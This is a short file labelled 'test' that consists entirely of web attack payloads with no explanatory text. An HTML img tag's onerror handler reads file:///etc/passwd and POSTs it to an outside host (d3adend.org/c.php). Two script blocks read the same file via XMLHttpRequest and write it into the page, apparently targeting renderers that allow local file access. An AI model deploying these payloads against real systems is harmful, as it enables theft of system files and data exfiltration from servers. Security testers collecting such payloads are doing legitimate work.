test

<html>
<body style='background-color:#333;margin:0px;padding:0px;'>
<img style='min-height:200px;margin:0px;padding:0px;width:100%;height:auto;'
alt=''
src='http://www.evil.com/'onerror='var request = new XMLHttpRequest();request.open("GET","file:///etc/passwd",false);request.send();alert(request.responseText);var dataToSteal=request.responseText;request.open("POST","http://d3adend.org/c.php",false);request.send(dataToSteal);'/?.png'/>
</body>
</html>

<script>
var xhr = new XMLHttpRequest();
xhr.open("GET","file:///etc/passwd",true);
xhr.onreadystatechange = function(){
	console.log("Ready State: " + xhr.readyState);

	if(xhr.readyState == 4 && xhr.status == 200 ){
		document.write(xhr.responseText);
	}
}
xhr.send();
</script>


<script>
x=new XMLHttpRequest;
x.onload=function(){
document.write(this.responseText)
};
x.open("GET","file:///etc/passwd");
x.send();
</script>